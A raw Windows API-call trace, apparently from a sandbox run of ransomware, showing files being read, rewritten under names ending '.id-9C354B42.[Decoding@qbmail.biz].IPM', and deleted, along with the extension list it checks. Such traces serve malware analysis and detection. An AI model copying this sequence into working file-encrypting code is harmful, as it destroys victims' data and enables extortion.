[0091.624] GetTickCount () returned 0x114c572 [0091.624] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0092.867] GetTickCount () returned 0x114ca52 [0092.867] GetTickCount () returned 0x114ca52 [0092.867] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0093.348] GetTickCount () returned 0x114cbe7 [0093.349] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0093.742] GetTickCount () returned 0x114cd7d [0093.742] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0093.929] GetTickCount () returned 0x114ce28 [0093.929] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0094.448] GetTickCount () returned 0x114d02b [0094.448] GetTickCount () returned 0x114d02b [0094.448] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0095.018] GetTickCount () returned 0x114d25d [0095.018] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0095.185] GetTickCount () returned 0x114d308 [0095.185] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) Thread: id = 10 os_tid = 0x7a4 [0068.676] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x65fa80 [0068.677] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x670288 [0068.678] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66fde8 [0068.678] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x65da88 [0068.678] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66fe30 [0068.678] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x3530020 [0068.678] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66fe78 [0068.678] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fe78, Size=0x20) returned 0x624a68 [0068.679] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66fe78 [0068.679] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fe78, Size=0x20) returned 0x624a40 [0068.679] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0068.679] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0068.679] Wow64DisableWow64FsRedirection (in: OldValue=0x29eff58 | out: OldValue=0x29eff58*=0x0) returned 1 [0068.679] lstrlenW (lpString="kernel32.dll") returned 12 [0068.679] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x624a68 | out: hHeap=0x5d0000) returned 1 [0068.679] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0068.679] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x624a40 | out: hHeap=0x5d0000) returned 1 [0068.679] Sleep (dwMilliseconds=0x64) [0068.916] lstrcmpiW (lpString1=".ini", lpString2=".IPM") returned -1 [0068.916] lstrlenW (lpString="desktop.ini") returned 11 [0068.917] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0068.917] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=129) returned 1 [0068.917] CloseHandle (hObject=0x170) returned 1 [0068.917] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0068.918] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0068.918] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0068.918] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0068.918] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0068.918] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0068.923] GetLastError () returned 0x0 [0068.923] ReadFile (in: hFile=0x170, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x81, lpOverlapped=0x0) returned 1 [0068.966] WriteFile (in: hFile=0x174, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x90, lpOverlapped=0x0) returned 1 [0068.970] ReadFile (in: hFile=0x170, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0068.970] WriteFile (in: hFile=0x174, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xea, lpOverlapped=0x0) returned 1 [0068.971] SetEndOfFile (hFile=0x174) returned 1 [0068.971] CloseHandle (hObject=0x174) returned 1 [0068.974] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0068.975] SetEndOfFile (hFile=0x170) returned 1 [0068.977] CloseHandle (hObject=0x170) returned 1 [0068.977] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x26) returned 1 [0068.978] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0068.978] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0068.978] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0068.979] lstrlenW (lpString=".doc") returned 4 [0068.979] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0068.979] lstrlenW (lpString=".docx") returned 5 [0068.979] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0068.979] lstrlenW (lpString=".pdf") returned 4 [0068.979] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0068.979] lstrlenW (lpString=".xls") returned 4 [0068.979] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0068.979] lstrlenW (lpString=".xlsx") returned 5 [0068.979] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0068.979] lstrlenW (lpString=".ppt") returned 4 [0068.979] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0068.979] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0068.979] lstrlenW (lpString=".zip") returned 4 [0068.979] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0068.979] lstrlenW (lpString=".rar") returned 4 [0068.980] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0068.980] lstrlenW (lpString=".bz2") returned 4 [0068.980] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0068.980] lstrlenW (lpString=".7z") returned 3 [0068.980] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0068.980] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0068.980] lstrlenW (lpString=".dbf") returned 4 [0068.980] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0068.980] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0068.980] lstrlenW (lpString=".1cd") returned 4 [0068.980] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0068.980] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0068.980] lstrlenW (lpString=".jpg") returned 4 [0068.980] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0068.981] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0068.981] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0068.981] lstrlenW (lpString=".doc") returned 4 [0068.981] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0068.981] lstrlenW (lpString=".docx") returned 5 [0068.981] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0068.981] lstrlenW (lpString=".pdf") returned 4 [0068.981] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0068.981] lstrlenW (lpString=".xls") returned 4 [0068.981] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0068.981] lstrlenW (lpString=".xlsx") returned 5 [0068.981] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0068.981] lstrlenW (lpString=".ppt") returned 4 [0068.981] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0068.981] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0068.981] lstrlenW (lpString=".zip") returned 4 [0068.981] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0068.982] lstrlenW (lpString=".rar") returned 4 [0068.982] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0068.982] lstrlenW (lpString=".bz2") returned 4 [0068.982] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0068.982] lstrlenW (lpString=".7z") returned 3 [0068.982] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0068.982] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0068.982] lstrlenW (lpString=".dbf") returned 4 [0068.982] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0068.982] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0068.982] lstrlenW (lpString=".1cd") returned 4 [0068.982] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0068.982] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0068.982] lstrlenW (lpString=".jpg") returned 4 [0068.982] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0068.983] Sleep (dwMilliseconds=0x64) [0069.470] Sleep (dwMilliseconds=0x64) [0069.598] Sleep (dwMilliseconds=0x64) [0069.861] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0069.861] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0069.861] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0070.162] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=1565) returned 1 [0070.162] CloseHandle (hObject=0x1e0) returned 1 [0070.163] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0070.163] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0070.163] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0070.163] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0070.163] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0070.163] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0070.164] GetLastError () returned 0x0 [0070.164] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x61d, lpOverlapped=0x0) returned 1 [0070.358] WriteFile (in: hFile=0x1e4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x620, lpOverlapped=0x0) returned 1 [0070.360] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0070.360] WriteFile (in: hFile=0x1e4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xec, lpOverlapped=0x0) returned 1 [0070.360] SetEndOfFile (hFile=0x1e4) returned 1 [0070.361] CloseHandle (hObject=0x1e4) returned 1 [0070.365] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0070.365] SetEndOfFile (hFile=0x1e0) returned 1 [0070.367] CloseHandle (hObject=0x1e0) returned 1 [0070.367] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0070.368] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0070.368] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0070.368] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0070.368] lstrlenW (lpString=".doc") returned 4 [0070.368] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0070.369] lstrlenW (lpString=".docx") returned 5 [0070.369] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0070.369] lstrlenW (lpString=".pdf") returned 4 [0070.369] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0070.369] lstrlenW (lpString=".xls") returned 4 [0070.369] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0070.369] lstrlenW (lpString=".xlsx") returned 5 [0070.369] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0070.369] lstrlenW (lpString=".ppt") returned 4 [0070.369] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0070.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0070.369] lstrlenW (lpString=".zip") returned 4 [0070.369] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0070.369] lstrlenW (lpString=".rar") returned 4 [0070.369] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0070.369] lstrlenW (lpString=".bz2") returned 4 [0070.370] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0070.370] lstrlenW (lpString=".7z") returned 3 [0070.370] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0070.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0070.370] lstrlenW (lpString=".dbf") returned 4 [0070.370] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0070.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0070.370] lstrlenW (lpString=".1cd") returned 4 [0070.370] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0070.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0070.370] lstrlenW (lpString=".jpg") returned 4 [0070.370] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0070.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0070.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0070.370] lstrlenW (lpString=".doc") returned 4 [0070.370] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0070.371] lstrlenW (lpString=".docx") returned 5 [0070.371] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0070.371] lstrlenW (lpString=".pdf") returned 4 [0070.371] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0070.371] lstrlenW (lpString=".xls") returned 4 [0070.373] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0070.373] lstrlenW (lpString=".xlsx") returned 5 [0070.373] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0070.373] lstrlenW (lpString=".ppt") returned 4 [0070.373] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0070.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0070.373] lstrlenW (lpString=".zip") returned 4 [0070.373] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0070.373] lstrlenW (lpString=".rar") returned 4 [0070.373] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0070.374] lstrlenW (lpString=".bz2") returned 4 [0070.374] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0070.374] lstrlenW (lpString=".7z") returned 3 [0070.374] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0070.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0070.374] lstrlenW (lpString=".dbf") returned 4 [0070.374] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0070.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0070.374] lstrlenW (lpString=".1cd") returned 4 [0070.374] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0070.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0070.374] lstrlenW (lpString=".jpg") returned 4 [0070.374] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0070.375] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0070.375] lstrlenW (lpString="Setup.xml") returned 9 [0070.375] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0070.511] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=1608) returned 1 [0070.512] CloseHandle (hObject=0x1b8) returned 1 [0070.512] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0070.512] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0070.512] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0070.513] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0070.513] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0070.513] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0070.513] GetLastError () returned 0x0 [0070.513] ReadFile (in: hFile=0x1b8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x648, lpOverlapped=0x0) returned 1 [0070.576] WriteFile (in: hFile=0x18c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x650, lpOverlapped=0x0) returned 1 [0070.578] ReadFile (in: hFile=0x1b8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0070.578] WriteFile (in: hFile=0x18c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xe6, lpOverlapped=0x0) returned 1 [0070.579] SetEndOfFile (hFile=0x18c) returned 1 [0070.579] CloseHandle (hObject=0x18c) returned 1 [0070.580] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0070.580] SetEndOfFile (hFile=0x1b8) returned 1 [0070.583] CloseHandle (hObject=0x1b8) returned 1 [0070.583] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0070.583] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0070.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.584] lstrlenW (lpString=".doc") returned 4 [0070.584] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0070.584] lstrlenW (lpString=".docx") returned 5 [0070.584] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0070.584] lstrlenW (lpString=".pdf") returned 4 [0070.584] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0070.584] lstrlenW (lpString=".xls") returned 4 [0070.584] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0070.584] lstrlenW (lpString=".xlsx") returned 5 [0070.584] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0070.584] lstrlenW (lpString=".ppt") returned 4 [0070.584] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0070.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.584] lstrlenW (lpString=".zip") returned 4 [0070.585] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0070.585] lstrlenW (lpString=".rar") returned 4 [0070.585] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0070.585] lstrlenW (lpString=".bz2") returned 4 [0070.585] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0070.585] lstrlenW (lpString=".7z") returned 3 [0070.585] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0070.585] lstrlenW 